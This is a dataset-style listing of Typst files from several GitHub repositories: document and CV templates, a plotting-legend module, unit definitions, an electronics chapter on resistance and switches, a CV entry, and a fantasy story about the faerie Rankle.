repo
stringlengths 26
115
| file
stringlengths 54
212
| language
stringclasses 2
values | license
stringclasses 16
values | content
stringlengths 19
1.07M
|
---|---|---|---|---|
https://github.com/Karolinskis/KTU-typst | https://raw.githubusercontent.com/Karolinskis/KTU-typst/main/lib.typ | typst | #let apply_custom_figure_settings(body) = {
show figure: it => block({
if it.kind == table {
if it.has("caption") {
show figure.caption: caption => {
set align(left)
set text(font: "Arial")
[]
if caption.numbering != none {
numbering(caption.numbering, ..counter(figure).at(it.location()))
}
[ lentelė. ]
caption.body
}
// Display the caption before the table
it.caption
v(if it.has("gap") { it.gap } else { 24pt }, weak: true)
}
}
// Display the figure body (table or image)
it.body
if it.kind == image {
if it.has("caption") {
show figure.caption: caption => {
set align(center)
set text(font: "Arial")
[]
if caption.numbering != none {
numbering(caption.numbering, ..counter(figure).at(it.location()))
}
[ pav. ]
caption.body
}
v(if it.has("gap") { it.gap } else { 24pt }, weak: true)
it.caption
}
}
})
body
} |
|
https://github.com/faria-s/CV | https://raw.githubusercontent.com/faria-s/CV/main/twentysecondcv.typ | typst | /*
* Twenty Seconds Curriculum Vitae in Typst
* Author: <NAME>
* Date: 2023-08-04
* License: MIT (see included file LICENSE)
*/
#import "@preview/fontawesome:0.1.0": *
#let headercolor = gray
#let pblue = rgb("#0395DE")
#let gray80 = rgb("#333333") // \color{black!80}
#let sidecolor = rgb("#E7E7E7")
#let mainblue = rgb("#0E5484")
#let maingray = rgb("#B9B9B9")
#let fontSize = (
tiny: 5pt,
scriptsize: 7pt,
footnotesize: 8pt,
small: 9pt,
normalsize: 10pt,
large: 12pt,
Large: 14pt,
LARGE: 17pt,
huge: 20pt,
Huge: 25pt,
)
/**
* @pages {int} total pages to calculate left block height,
since it's difficult to calculate using typst. default to 1.
* @left {block} left block
* @right {block} right block
*/
#let main(
pages: 1,
left,
right,
) = {
set page(
margin: (
left: 0cm,
right: 0cm,
top: 0cm,
bottom: 0cm,
)
)
grid(
columns: (35%, 65%),
rows: auto,
// column-gutter: 1em,
block(
fill: sidecolor,
height: pages * 100%,
pad(
top: 1cm,
rest: 0.5cm,
left
)
),
block(
height: auto,
pad(
top: 0.7cm,
rest: 0.5cm,
right,
)
),
)
}
#let profile(
name: "",
jobtitle: "",
) = {
text(fill: mainblue, size: fontSize.Huge, name) // {\Huge\color{pblue}\cvname}
linebreak()
v(2mm)
text(fill: gray80, size: fontSize.Large, jobtitle) // {\Large\color{black!80}\cvjobtitle}
}
#let profile_section(title) = {
v(3mm)
align(left)[
#text(size: fontSize.huge, fill: gray80)[#title]
#box(width: 1fr, baseline: -0.5em, line(length: 100%, stroke: gray80))
]
}
// score is 1 base
#let progress(score) = {
box(rect(
height: 1em,
width: score * 100%,
fill: mainblue,
))
box(rect(
height: 1em,
width: (1 - score) * 100%,
fill: maingray,
))
}
/*
interest item is dictionary
(
interest: "AI",
score: 0.6 // 1.0 based percentage
)
*/
#let show_interests(interests) = {
set text(size: fontSize.large, fill: gray80)
for interest in interests {
text(interest.interest)
linebreak()
progress(interest.score)
}
}
/*
contact item is dictionary
(
icon: "linkedin",
fa-set: "Brands", // or "Free" or "Free Solid"
text: "https://www.linkedin.com/in/someone",
)
*/
#let show_contacts(contacts) = {
v(3mm)
let c = ()
for contact in contacts {
c.push(fa-icon(contact.icon, fa-set: contact.at("fa-set", default: "Free"), fill: mainblue))
c.push(contact.text)
}
grid(
columns: (auto, auto),
column-gutter: 1em,
row-gutter: 1em,
..c
)
}
#let body_section(slice:3, title) = {
let (header, tailer) = (title.slice(0, slice), title.slice(slice))
set text(size: fontSize.LARGE)
block[
#v(3mm)
#strong()[
#text(fill: mainblue, header)#text(fill: headercolor, tailer)
]
]
}
/*
#1 period, like From - To
#2 title
#3 note, basic note
#4 addtional_note
#5 body: the main body
*/
#let twentyitem(
period: "",
title: "",
note: "",
addtional_note: "",
body: ""
) = {
grid(
columns: (20%, 80%),
period,
par([
#block()[
#strong(title)
#box(width: 1fr)
#text(size: fontSize.footnotesize, note)
]
#if (addtional_note.len() > 0) {
block(addtional_note)
}
#body
])
)
} |
|
https://github.com/DashieTM/ost-5semester | https://raw.githubusercontent.com/DashieTM/ost-5semester/main/blockchain/weeks/week11.typ | typst | #import "../../utils.typ": *
#section("")
|
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/cetz-plot/0.1.0/src/plot/legend.typ | typst | Apache License 2.0 | #import "/src/cetz.typ"
#import cetz: draw, styles
#import draw: group
#import "mark.typ": draw-mark-shape
#let default-style = (
orientation: ttb,
default-position: "north-east",
layer: 1, // Legend layer
fill: rgb(255,255,255,200), // Legend background
stroke: black, // Legend border
padding: .1, // Legend border padding
offset: (0, 0), // Legend displacement
spacing: .1, // Spacing between anchor and legend
item: (
radius: 0,
spacing: 0, // Extra spacing between items
preview: (
width: .75, // Preview width
height: .3, // Preview height
margin: .1 // Distance between preview and label
)
),
radius: 0,
scale: 100%,
)
// Map position to legend group anchor
#let auto-group-anchor = (
inner-north-west: "north-west",
inner-north: "north",
inner-north-east: "north-east",
inner-south-west: "south-west",
inner-south: "south",
inner-south-east: "south-east",
inner-west: "west",
inner-east: "east",
north-west: "north-east",
north: "south",
north-east: "north-west",
south-west: "south-east",
south: "north",
south-east: "south-west",
east: "west",
west: "east",
)
// Generate legend positioning anchors
#let add-legend-anchors(style, element, size) = {
import draw: *
let (w, h) = size
let (xo, yo) = {
let spacing = style.at("spacing", default: (0, 0))
if type(spacing) == array {
spacing
} else {
(spacing, spacing)
}
}
anchor("north", (rel: (w / 2, yo), to: (element + ".north", "-|", element + ".origin")))
anchor("south", (rel: (w / 2, -yo), to: (element + ".south", "-|", element + ".origin")))
anchor("east", (rel: (xo, h / 2), to: (element + ".east", "|-", element + ".origin")))
anchor("west", (rel: (-xo, h / 2), to: (element + ".west", "|-", element + ".origin")))
anchor("north-east", (rel: (xo, h), to: (element + ".north-east", "|-", element + ".origin")))
anchor("north-west", (rel: (-xo, h), to: (element + ".north-west", "|-", element + ".origin")))
anchor("south-east", (rel: (xo, 0), to: (element + ".south-east", "|-", element + ".origin")))
anchor("south-west", (rel: (-xo, 0), to: (element + ".south-west", "|-", element + ".origin")))
anchor("inner-north", (rel: (w / 2, h - yo), to: element + ".origin"))
anchor("inner-north-east", (rel: (w - xo, h - yo), to: element + ".origin"))
anchor("inner-north-west", (rel: (yo, h - yo), to: element + ".origin"))
anchor("inner-south", (rel: (w / 2, yo), to: element + ".origin"))
anchor("inner-south-east", (rel: (w - xo, yo), to: element + ".origin"))
anchor("inner-south-west", (rel: (xo, yo), to: element + ".origin"))
anchor("inner-east", (rel: (w - xo, h / 2), to: element + ".origin"))
anchor("inner-west", (rel: (xo, h / 2), to: element + ".origin"))
}
// Draw a generic item preview
#let draw-generic-preview(item) = {
import draw: *
if item.at("fill", default: false) {
rect((0,0), (1,1), ..item.style)
} else {
line((0,.5), (1,.5), ..item.style)
}
}
/// Construct a legend item for use with the `legend` function
///
/// - label (none, auto, content): Legend label or auto to use the enumerated default label
/// - preview (auto, function): Legend preview icon function of the format `item => elements`.
/// Note that the canvas bounds for drawing the preview are (0,0) to (1,1).
/// - mark: (none,string): Legend mark symbol
/// - mark-style: (none,dictionary): Mark style
/// - mark-size: (number): Mark size
/// - style (styles): Style keys for the single item
#let item(label, preview, mark: none, mark-style: (:), mark-size: 1, ..style) = {
assert.eq(style.pos().len(), 0,
message: "Unexpected positional arguments")
return ((label: label, preview: preview,
mark: mark, mark-style: mark-style, mark-size: mark-size,
style: style.named()),)
}
/// Draw a legend
#let legend(position, items, name: "legend", ..style) = group(name: name, ctx => {
draw.anchor("default", ())
let items = if items != none { items.filter(v => v.label != none) } else { () }
if items == () {
return
}
let style = styles.resolve(
ctx.style, merge: style.named(), base: default-style, root: "legend")
assert(style.orientation in (ttb, ltr),
message: "Unsupported legend orientation.")
// Scaling
draw.scale(style.scale)
// Position
let position = if position == auto {
style.default-position
} else {
position
}
// Adjust anchor
if style.anchor == auto {
style.anchor = if type(position) == str {
auto-group-anchor.at(position, default: "north-west")
} else {
"north-west"
}
}
// Apply offset
if style.offset not in (none, (0,0)) {
position = (rel: style.offset, to: position)
}
// Draw items
draw.on-layer(style.layer, {
draw.group(name: "items", padding: style.padding, ctx => {
import draw: *
set-origin(position)
anchor("default", (0,0))
let pt = (0, 0)
for (i, item) in items.enumerate() {
let (label, preview) = item
if label == none {
continue
} else if label == auto {
label = $ f_(#i) $
}
group({
anchor("default", (0,0))
let row-height = style.item.preview.height
let preview-width = style.item.preview.width
let preview-a = (0, -row-height / 2)
let preview-b = (preview-width, +row-height / 2)
let label-west = (preview-width + style.item.preview.margin, 0)
// Draw item preview
let draw-preview = if preview == auto { draw-generic-preview } else { preview }
scope({
set-viewport(preview-a, preview-b, bounds: (1, 1, 0))
(draw-preview)(item)
})
// Draw mark preview
let mark = item.at("mark", default: none)
if mark != none {
draw-mark-shape((preview-a, 50%, preview-b),
calc.min(style.item.preview.width / 2, item.mark-size),
mark,
item.mark-style)
}
// Draw label
content(label-west,
text(top-edge: "ascender", bottom-edge: "descender", align(left + horizon, label)),
name: "label", anchor: "west")
}, name: "item", anchor: if style.orientation == ltr { "west" } else { "north-west" })
if style.orientation == ttb {
set-origin((rel: (0, -style.item.spacing),
to: "item.south-west"))
} else if style.orientation == ltr {
set-origin((rel: (style.item.spacing, 0),
to: "item.east"))
}
}
}, anchor: style.anchor)
})
// Fill legend background
draw.on-layer(style.layer - .5, {
draw.rect("items.south-west",
"items.north-east", fill: style.fill, stroke: style.stroke, radius: style.radius)
})
})
/// Function for manually adding a legend item from within
/// a plot environment
///
/// - label (content): Legend label
/// - preview (auto,function): Legend preview function of the format `() => elements`.
/// The preview canvas bounds are between (0,0) and (1,1).
/// If set to `auto`, a straight line is drawn.
///
/// ```example
/// add-legend([Custom item], preview _ => {
/// draw.rect((0,0), (1,1)) // Draw a rect as preview
/// })
/// ```
#let add-legend(label, preview: auto) = {
assert(preview == auto or type(preview) == function,
message: "Expected auto or function, got " + repr(type(preview)))
return ((
type: "legend-item",
label: label,
style: (:),
axes: ("x", "y"),
) + if preview != auto {
(plot-legend-preview: _ => { preview() })
},)
}
|
https://github.com/RaphGL/ElectronicsFromBasics | https://raw.githubusercontent.com/RaphGL/ElectronicsFromBasics/main/DC/chap1/5_resistance.typ | typst | Other | #import "../../core/core.typ"
=== Resistance
The circuit in the previous section is not a very practical one. In fact, it can be quite dangerous to build (directly connecting the poles of a voltage source together with a single piece of wire). The reason it is dangerous is because the magnitude of electric current may be very large in such a short circuit, and the release of energy very dramatic (usually in the form of heat). Usually, electric circuits are constructed in such a way as to make practical use of that released energy, in as safe a manner as possible.
One practical and popular use of electric current is for the operation of electric lighting. The simplest form of electric lamp is a tiny metal "filament" inside of a clear glass bulb, which glows white-hot ("incandesces") with heat energy when sufficient electric current passes through it. Like the battery, it has two conductive connection points, one for electrons to enter and the other for electrons to exit.
Connected to a source of voltage, an electric lamp circuit looks something like this:
#image("static/5-electric-lamp.png")
As the electrons work their way through the thin metal filament of the lamp, they encounter more opposition to motion than they typically would in a thick piece of wire. This opposition to electric current depends on the type of material, its cross-sectional area, and its temperature. It is technically known as resistance. (It can be said that conductors have low resistance and insulators have very high resistance.) This resistance serves to limit the amount of current through the circuit with a given amount of voltage supplied by the battery, as compared with the "short circuit" where we had nothing but a wire joining one end of the voltage source (battery) to the other.
When electrons move against the opposition of resistance, "friction" is generated. Just like mechanical friction, the friction produced by electrons flowing against a resistance manifests itself in the form of heat. The concentrated resistance of a lamp's filament results in a relatively large amount of heat energy dissipated at that filament. This heat energy is enough to cause the filament to glow white-hot, producing light, whereas the wires connecting the lamp to the battery (which have much lower resistance) hardly even get warm while conducting the same amount of current.
As in the case of the short circuit, if the continuity of the circuit is broken at any point, electron flow stops throughout the entire circuit. With a lamp in place, this means that it will stop glowing:
#image("static/5-broken-circuit.png")
As before, with no flow of electrons, the entire potential (voltage) of the battery is available across the break, waiting for the opportunity of a connection to bridge across that break and permit electron flow again. This condition is known as an _open circuit_, where a break in the continuity of the circuit prevents current throughout. All it takes is a single break in continuity to "open" a circuit. Once any breaks have been connected once again and the continuity of the circuit re-established, it is known as a _closed circuit_.
What we see here is the basis for switching lamps on and off by remote switches. Because any break in a circuit's continuity results in current stopping throughout the entire circuit, we can use a device designed to intentionally break that continuity (called a _switch_), mounted at any convenient location that we can run wires to, to control the flow of electrons in the circuit:
#image("static/5-switch-circuit.png")
This is how a switch mounted on the wall of a house can control a lamp that is mounted down a long hallway, or even in another room, far away from the switch. The switch itself is constructed of a pair of conductive contacts (usually made of some kind of metal) forced together by a mechanical lever actuator or pushbutton. When the contacts touch each other, electrons are able to flow from one to the other and the circuit's continuity is established; when the contacts are separated, electron flow from one to the other is prevented by the insulation of the air between, and the circuit's continuity is broken.
Perhaps the best kind of switch to show for illustration of the basic principle is the "knife" switch:
#image("static/5-knife-switch.jpg")
A knife switch is nothing more than a conductive lever, free to pivot on a hinge, coming into physical contact with one or more stationary contact points which are also conductive. The switch shown in the above illustration is constructed on a porcelain base (an excellent insulating material), using copper (an excellent conductor) for the "blade" and contact points. The handle is plastic to insulate the operator's hand from the conductive blade of the switch when opening or closing it.
Here is another type of knife switch, with two stationary contacts instead of one:
#image("static/5-knife-switch-2.jpg")
The particular knife switch shown here has one "blade" but two stationary contacts, meaning that it can make or break more than one circuit. For now this is not terribly important to be aware of, just the basic concept of what a switch is and how it works.
Knife switches are great for illustrating the basic principle of how a switch works, but they present distinct safety problems when used in high-power electric circuits. The exposed conductors in a knife switch make accidental contact with the circuit a distinct possibility, and any sparking that may occur between the moving blade and the stationary contact is free to ignite any nearby flammable materials. Most modern switch designs have their moving conductors and contact points sealed inside an insulating case in order to mitigate these hazards. A photograph of a few modern switch types show how the switching mechanisms are much more concealed than with the knife design:
#image("static/5-modern-switches.jpg")
In keeping with the "open" and "closed" terminology of circuits, a switch that is making contact from one connection terminal to the other (example: a knife switch with the blade fully touching the stationary contact point) provides continuity for electrons to flow through, and is called a _closed_ switch. Conversely, a switch that is breaking continuity (example: a knife switch with the blade not touching the stationary contact point) won't allow electrons to pass through and is called an open switch. This terminology is often confusing to the new student of electronics, because the words "open" and "closed" are commonly understood in the context of a door, where "open" is equated with free passage and "closed" with blockage. With electrical switches, these terms have opposite meaning: "open" means no flow while "closed" means free passage of electrons.
#core.review[
- Resistance is the measure of opposition to electric current.
- A short circuit is an electric circuit offering little or no resistance to the flow of electrons. Short circuits are dangerous with high voltage power sources because the high currents encountered can cause large amounts of heat energy to be released.
- An open circuit is one where the continuity has been broken by an interruption in the path for electrons to flow.
- A closed circuit is one that is complete, with good continuity throughout.
- A device designed to open or close a circuit under controlled conditions is called a switch.
- The terms "open" and "closed" refer to switches as well as entire circuits. An open switch is one without continuity: electrons cannot flow through it. A closed switch is one that provides a direct (low resistance) path for electrons to flow through.
]
|
https://github.com/Myriad-Dreamin/typst.ts | https://raw.githubusercontent.com/Myriad-Dreamin/typst.ts/main/fuzzers/corpora/layout/page-style_01.typ | typst | Apache License 2.0 |
#import "/contrib/templates/std-tests/preset.typ": *
#show: test-page
// Empty with styles and then pagebreak
// Should result in two forest-colored pages.
#set page(fill: forest)
#pagebreak()
|
https://github.com/fenjalien/metro | https://raw.githubusercontent.com/fenjalien/metro/main/src/defs/units.typ | typst | Apache License 2.0 | // Used to define kilogram
#let gram = $g$
// SI units
#let ampere = $A$
#let candela = $c d$
#let kelvin = $kelvin$
#let kilogram = $k#gram$
#let metre = $m$
#let meter = metre
#let mole = $m o l$
#let second = $s$
// Derived units
#let becquerel = $B q$
#let degreeCelsius = $degree.c$
#let coulomb = $C$
#let farad = $F$
#let gray = $G y$
#let hertz = $H z$
#let henry = $H$
#let joule = $J$
#let lumen = $l m$
#let katal = $k a t$
#let lux = $l x$
#let newton = $N$
#let ohm = $ohm$
#let pascal = $P a$
#let radian = $r a d$
#let siemens = $S$
#let sievert = $S v$
#let steradian = $s r$
#let tesla = $T$
#let volt = $V$
#let watt = $W$
#let weber = $W b$
// Non-SI units
#let astronomicalunit = $a u$
#let bel = $B$
#let dalton = $D a$
#let day = $d$
#let decibel = $d#bel$
#let electronvolt = $e V$
#let hectare = $h a$
#let hour = $h$
#let litre = $L$
#let liter = litre
#let arcminute = $prime$
#let minute = $m i n$
#let arcsecond = $prime.double$
#let neper = $N p$
#let tonne = $t$
#let byte = $B$
// Unit abbreviations
#let fg = $f#gram$
#let pg = $p#gram$
#let ng = $n#gram$
#let ug = $mu#gram$
#let mg = $m#gram$
#let kg = kilogram
#let pm = $p#metre$
#let nm = $n#metre$
#let um = $mu#metre$
#let mm = $m#metre$
#let cm = $c#metre$
#let dm = $d#metre$
#let km = $k#metre$
// #let as = $a#second$
#let fs = $f#second$
#let ps = $p#second$
#let ns = $n#second$
#let us = $mu#second$
#let ms = $m#second$
#let fmol = $f#mole$
#let pmol = $p#mole$
#let nmol = $n#mole$
#let umol = $mu#mole$
#let mmol = $m#mole$
#let mol = mole
#let kmol = $k#mole$
#let pA = $p#ampere$
#let nA = $n#ampere$
#let uA = $mu#ampere$
#let mA = $m#ampere$
#let kA = $k#ampere$
#let L = $#litre$
#let uL = $mu#litre$
#let mL = $m#litre$
#let hL = $h#litre$
#let mHz = $m#hertz$
#let Hz = hertz
#let kHz = $k#hertz$
#let MHz = $M#hertz$
#let GHz = $G#hertz$
#let THz = $T#hertz$
#let mN = $m#newton$
#let kN = $k#newton$
#let MN = $M#newton$
#let Pa = pascal
#let kPa = $k#pascal$
#let MPa = $M#pascal$
#let GPa = $G#pascal$
#let mohm = $m#ohm$
#let kohm = $k#ohm$
#let Mohm = $M#ohm$
#let pV = $p#volt$
#let nV = $n#volt$
#let uV = $mu#volt$
#let mV = $m#volt$
#let kV = $k#volt$
#let nW = $n#watt$
#let uW = $mu#watt$
#let mW = $m#watt$
#let kW = $k#watt$
#let MW = $M#watt$
#let GW = $G#watt$
#let uJ = $u#joule$
#let mJ = $m#joule$
#let kJ = $k#joule$
#let eV = electronvolt
#let meV = $m#electronvolt$
#let keV = $k#electronvolt$
#let MeV = $M#electronvolt$
#let GeV = $G#electronvolt$
#let TeV = $T#electronvolt$
#let kWh = $kW h$
#let fF = $f#farad$
#let pF = $p#farad$
#let nF = $n#farad$
#let uF = $mu#farad$
#let mF = $m#farad$
#let fH = $f#henry$
#let pH = $p#henry$
#let nH = $n#henry$
#let mH = $m#henry$
#let uH = $mu#henry$
#let nC = $n#coulomb$
#let uC = $mu#coulomb$
#let mC = $m#coulomb$
#let dB = decibel
#let cd = candela
#let Bq = becquerel
#let Gy = gray
#let lm = lumen
#let kat = katal
#let lx = lux
#let rad = radian
#let Sv = sievert
#let sr = steradian
#let Wb = weber
#let au = astronomicalunit
#let Da = dalton
#let ha = hectare
#let Np = neper
#let kB = $k#byte$
#let MB = $M#byte$
#let GB = $G#byte$
#let TB = $T#byte$
#let PB = $P#byte$
#let EB = $E#byte$
#let KiB = $K i#byte$
#let MiB = $M i#byte$
#let GiB = $G i#byte$
#let TiB = $T i#byte$
#let PiB = $P i#byte$
#let EiB = $E i#byte$
#let _dict = (
ampere: ampere,
pA: pA,
nA: nA,
uA: uA,
mA: mA,
A: ampere,
kA: kA,
astronomicalunit: astronomicalunit,
au: au,
arcminute: arcminute,
arcsecond: arcsecond,
becquerel: becquerel,
Bq: Bq,
bel: bel,
decibel: decibel,
dB: dB,
candela: candela,
cd: cd,
dalton: dalton,
Da: Da,
day: day,
degree: sym.degree,
degreeCelsius: sym.degree.c,
coulomb: coulomb,
C: coulomb,
nC: nC,
mC: mC,
uC: uC,
electronvolt: electronvolt,
meV: meV,
eV: eV,
keV: keV,
MeV: MeV,
GeV: GeV,
TeV: TeV,
kWh: kWh,
farad: farad,
F: farad,
fF: fF,
pF: pF,
nF: nF,
uF: uF,
mF: mF,
gray: gray,
Gy: Gy,
hectare: hectare,
ha: ha,
henry: henry,
H: henry,
fH: fH,
pH: pH,
nH: nH,
mH: mH,
uH: uH,
hertz: hertz,
mHz: mHz,
Hz: Hz,
kHz: kHz,
MHz: MHz,
GHz: GHz,
THz: THz,
hour: hour,
joule: joule,
uJ: uJ,
mJ: mJ,
J: joule,
kJ: kJ,
katal: katal,
kat: kat,
kelvin: kelvin,
K: kelvin,
kilogram: kilogram,
gram: gram,
fg: fg,
pg: pg,
ng: ng,
ug: ug,
mg: mg,
g: gram,
kg: kg,
litre: litre,
liter: liter,
uL: uL,
mL: mL,
L: litre,
hL: hL,
lumen: lumen,
lm: lm,
lux: lux,
lx: lx,
metre: metre,
meter: meter,
pm: pm,
nm: nm,
um: um,
mm: mm,
cm: cm,
dm: dm,
m: metre,
km: km,
minute: minute,
mole: mole,
fmol: fmol,
pmol: pmol,
nmol: nmol,
umol: umol,
mmol: mmol,
mol: mol,
kmol: kmol,
neper: neper,
Np: Np,
newton: newton,
mN: mN,
N: newton,
kN: kN,
MN: MN,
ohm: ohm,
mohm: mohm,
kohm: kohm,
Mohm: Mohm,
pascal: pascal,
Pa: Pa,
kPa: kPa,
MPa: MPa,
GPa: GPa,
radian: radian,
rad: rad,
second: second,
"as": $a#second$,
fs: fs,
ps: ps,
ns: ns,
us: us,
ms: ms,
s: second,
siemens: siemens,
sievert: sievert,
Sv: Sv,
steradian: steradian,
sr: sr,
tesla: tesla,
T: tesla,
tonne: tonne,
volt: volt,
pV: pV,
nV: nV,
uV: uV,
mV: mV,
V: volt,
kV: kV,
watt: watt,
nW: nW,
uW: uW,
mW: mW,
W: watt,
kW: kW,
MW: MW,
GW: GW,
weber: weber,
Wb: Wb,
byte: byte,
kB: kB,
MB: MB,
GB: GB,
TB: TB,
PB: PB,
EB: EB,
KiB: KiB,
MiB: MiB,
GiB: GiB,
TiB: TiB,
PiB: PiB,
EiB: EiB,
)
|
https://github.com/BeiyanYunyi/resume | https://raw.githubusercontent.com/BeiyanYunyi/resume/main/personalInfo.example.typ | typst | #let personalInfo = (
github: "YajuSenpai",
phone: "+86 114 5141 9198",
email: "<EMAIL>",
// linkedin: "johndoe",
//custom-1: (icon: "", text: "example", link: "https://example.com"),
//gitlab: "mintyfrankie",
// homepage: "blog.coat.com",
//orcid: "0000-0000-0000-0000",
//researchgate: "John-Doe",
//extraInfo: "",
)
#let nonLatinOverwriteInfo = (
"customFont": "Noto Sans CJK SC",
"firstName": "野獣先輩",
"lastName": "",
// submit an issue if you think other variables should be in this array
) |
|
https://github.com/taooceros/CV | https://raw.githubusercontent.com/taooceros/CV/main/modules_en/research.typ | typst | // Imports
#import "@preview/brilliant-cv:2.0.2": cvSection, cvEntry
#let metadata = toml("../metadata.toml")
#let cvSection = cvSection.with(metadata: metadata)
#let cvEntry = cvEntry.with(metadata: metadata)
#cvSection("Research Experience")
#cvEntry(
title: [Advisor: <NAME>],
society: [Research Intern],
date: [May 2024 - Present],
location: [University of Washington (Syslab)],
description: [
== Container Network Offloading
- Designed and implemented a high performance network stack via _UCX_ and _RDMA_.
- Utilized _X-GVMI_ in Bluefield-3 NIC to efficiently offload the control logic of container network stacks onto DPU without data copying.
- Optimized the container network offloading bandwidth by 20% and latency for more than 50% compared to full-copy mode.
== Project 2
TODO ...
- ...
]
)
#cvEntry(
title: [Advisor: <NAME>, <NAME>],
society: [Research Intern],
date: [Jan 2023 - Present],
location: [University of Wisconsin-Madison],
description: [
- Adopted usage-fairness-oriented guarantee in Delegation-Styled Lock through serialized scheduling policies.
- Mitigated Scheduler Subversion with a priority-based scheduling algorithm for combiner threads.
- Rectified unfair lock usage scenarios under existing delegation-styled locks: Flat-Combining, CC/DSM-Synch, and RCL.
- Supported by _Hilldale Research Fellowship_ (2024).
],
)
|
|
https://github.com/polarkac/MTG-Stories | https://raw.githubusercontent.com/polarkac/MTG-Stories/master/stories/051%20-%20March%20of%20the%20Machine/010_Eldraine%3A%20The%20Adventures%20of%20Rankle%2C%20Master%20of%20Love.typ | typst | #import "@local/mtgstory:0.2.0": conf
#show: doc => conf(
"Eldraine: The Adventures of Rankle, Master of Love",
set_name: "March of the Machine",
story_date: datetime(day: 22, month: 04, year: 2023),
author: "<NAME>",
doc
)
Rankle swaggered into the clearing, his pockets stuffed with stones and magic dust. He was ready for a fight, but his friends were weaponless and in good spirits. Gleefully, they showed him a throne they had constructed out of mossy rocks and red-gold leaves. Orla threw rose petals in his direction, and Fifer wore a dead rabbit on his head—a fine new hat fit for a coronation. Rankle whooped with delight. Days of torment had paid off! They were about to make him their king. Only Mags stood to one side, chewing her lip with her sharpened teeth and scuffing her bare foot through the fallen leaves.
"Lord Rankle, approach the throne!" Fifer proclaimed in as formal voice as he could muster.
Orla began the recitation: "With much ado, we bestow upon you the circumstance of lordliness and sequential regal heralding~"
"Where's my crown?" Rankle barked with authority.
Everyone looked at Mags, who looked even more cross.
"Do your part, Mags!" Fifer yelped.
Rankle gave Mags his best regal smile. He liked her the best. She was clever with a knife and had sleek black wings, like a bat. Sometimes they ambushed caravans together, and once, they'd made the Questing Beast cry.
Mags scowled. She reached into her cloak and produced a tiara made from acorns and glass shards. Rankle's heart beat a little faster. Mags had been the most resistant to his leadership demands. But maybe she loved him after all. She must, or they'd still be stabbing each other over who got to be the king.
Mags fluttered across the glade and jammed the tiara onto his head.
"Ouch," said Rankle.
She gave him a snarling smile and a little curtsy, which made his heart soar. Rankle reached his throne and settled down on the crunchy leaves. He gazed out at his subjects and wished there were more of them. But he had to start somewhere, and three was better than none.
"As your ruler~" he began, but then Mags whipped out her knife and cut a rope hidden in the trees.
The rope was attached to a net hidden below the leaves. Instantly, it trapped him and yanked him up. He hung in a lump in front of the others, who were howling with laughter.
"Did you see his face?" Fifer chortled.
"I can't believe he fell for that," Orla said. "You were right, Mags."
"This was Mag's idea?" Rankle cried from inside the net.
"No, I just wanted to gut you," Mags clarified. "Fifer had to make it fancy."
Rankle couldn't believe what he was hearing. "Why?"
"Nobody wants you here," Mags said.
"You're too mean, you are," Fifer said, adjusting the dead rabbit on his head.
"You put bees in my mouth when I was sleeping," Orla said.
"That's mean?" Rankle protested. "Mags uses eyeballs in her slingshot."
"Not #emph[my] eyes," Orla pointed out.
"You sewed my mouth shut," Fifer reminded him.
"You're fine now," Rankle protested. "Look at you, won't shut up."
"We don't want you here," Mags repeated. "Will you go or not?"
"No," Rankle said stubbornly. He turned his head away so she couldn't see his lip quiver. "This is my glade. I just let you stay here because I'm nice."
The three faeries huddled together, whispering. Rankle wriggled and tried to hear what they were saying.
"We'll let you down if you promise to leave and never come back," Orla said.
"Fine," Rankle lied. He was too scrunched in the net to do much else.
But as soon Mags released the net, he flew up and headbutted her with his glass and acorn tiara. Mags reeled back, but the other two jumped him. They tumbled across the clearing in a low-down, dust-kicking brawl. Rankle bit Orla's leg before they pinned him down, and Mags jabbed a sharpened stick into his wing to pin him down.
"Don't struggle, or it will tear your wing," she warned.
"Don't tell me what to do!" Rankle howled, struggling violently and swinging wildly. Mags held the stick in place while Orla and Fifer did their best to keep him down. Finally, out of breath, Rankle stopped struggling.
"Look what you've done," Mags said, yanking the stick out. Rankle's wing was in tatters.
"Ow," Rankle said, trying to flap, but his wing hurt even more.
Orla and Fifer stepped back, looking vaguely sorry. Usually, when someone got hurt, it wasn't permanent. Maybe that changed how they felt.
"Can I stay?" Rankle asked, craning his head around to inspect the damage.
"No!" all three of them yelled.
"We don't like you," Fifer shouted.
"No one does," Mags said, yanking the tiara off his head.
Rankle tried to fly up and away but couldn't with his now useless wing. He stomped out of the glade.
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
Rankle was in such a bad mood that songbirds gave him the stink eye. Even the butterflies avoided him as he trudged down the road under a strange, purplish sky.
"I'll squish the lot of you," he shouted at a fleeing swallowtail.
Rankle reached the cart road that traversed the boundary lands, the territory between the wilds and the Realm that both humans and fae folk frequented. Rankle hadn't spent much time with humans, but he considered himself an expert: if you wanted friends, you needed coin. He vowed to rob the first human that he saw. Now that he had a plan, his spirits brightened.
The village's clock tower was in sight when he found his mark. A white-haired man with a tidy beard and a blue cloak stood on Hero's Rock at the crossroads outside the village. As Rankle crested the hill, he saw a group of villagers gathered around as the white-haired man gestured to the sickly sky.
"The sky is like a bruise," the man bellowed. "Can you not see the signs?"
"You're a fool, Chulane," a villager shouted. "Go back to your storybooks."
Chulane held up a yellow leaf. There seemed to be a symbol burned into it, but Rankle was more interested in the leather pouch on Chulane's belt.
"Oh woe is me, I see the sign of autumn," another villager mocked.
"Open your eyes!" Chulane begged them. "Something terrible is about to befall us!"
The elders headed back toward the village, but a youth picked up a rock and hurled it at the old storyteller. Soon several youths were lobbing stones, and Chulane jumped down and hurried away from the village. Rankle loved a good bout of rock-throwing as much as anyone, but since the youth were unlikely to have any coin, he followed the distraught man.
#v(0.35em)
#line(length: 100%, stroke: rgb(90%, 90%, 90%))
#v(0.35em)
Rankle shadowed Chulane, keeping to the far side of the stone walls along the road. He kept looking for a proper place to ambush him, but the man's long legs outpaced him easily, and Rankle's tattered wing kept him firmly on the ground. Chulane kept raving about "warning the queen" and "Locthwain," with the coin clinking loudly as he practically ran down the rutted road.
Before long, they reached a perilous section of road known as Undertaker's Corner, which looked out over an idyllic grange hundreds of feet below. Carts had been known to fly off the cliff instead of successfully making the sharp right turn to follow switchbacks down into the valley.
When Chulane paused to take in the view, Rankle clambered higher up the hillside ready to make his move. But he caught sight of Locthwain Castle in the valley below, and all thoughts of ambush were forgotten. Although Rankle had heard tales of it since he was a bairn, this was his first glimpse of the floating castle, which reminded him of a majestic ship atop an ocean of clouds. Its graceful spires and massive battlements gleamed despite the dimness of the day.
